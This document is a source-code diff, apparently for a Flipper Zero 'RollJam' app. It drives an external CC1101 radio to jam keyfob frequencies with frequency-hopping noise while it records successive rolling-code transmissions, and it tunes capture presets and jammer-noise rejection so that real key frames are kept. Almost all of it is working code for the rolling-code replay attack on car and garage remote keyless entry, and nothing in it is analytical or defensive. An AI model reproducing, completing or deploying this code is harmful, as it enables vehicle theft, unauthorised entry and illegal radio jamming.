// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
@@ -323,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -381,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
@@ -423,7 +406,7 @@ static int32_t jam_thread_worker(void* context) {
0xAA,0x55
};
furi_hal_gpio_write(pin_amp, true);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
@@ -432,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
@@ -452,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
@@ -463,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
@@ -492,67 +474,48 @@ static int32_t jam_thread_worker(void* context) {
}
cc_idle();
furi_hal_gpio_write(pin_amp, false);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -17,6 +17,7 @@
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -21,148 +21,252 @@
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
static const uint8_t preset_ook_rx[] = {
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_rx[] = {
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_ook_tx[] = {
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return (matches > (int)(s->size * 8 / 10));
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static volatile float cap_rssi_baseline;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
if(g_cap.state == CapDone) return;
cap_callback_count++;
g_cap.callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
switch(g_cap.state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
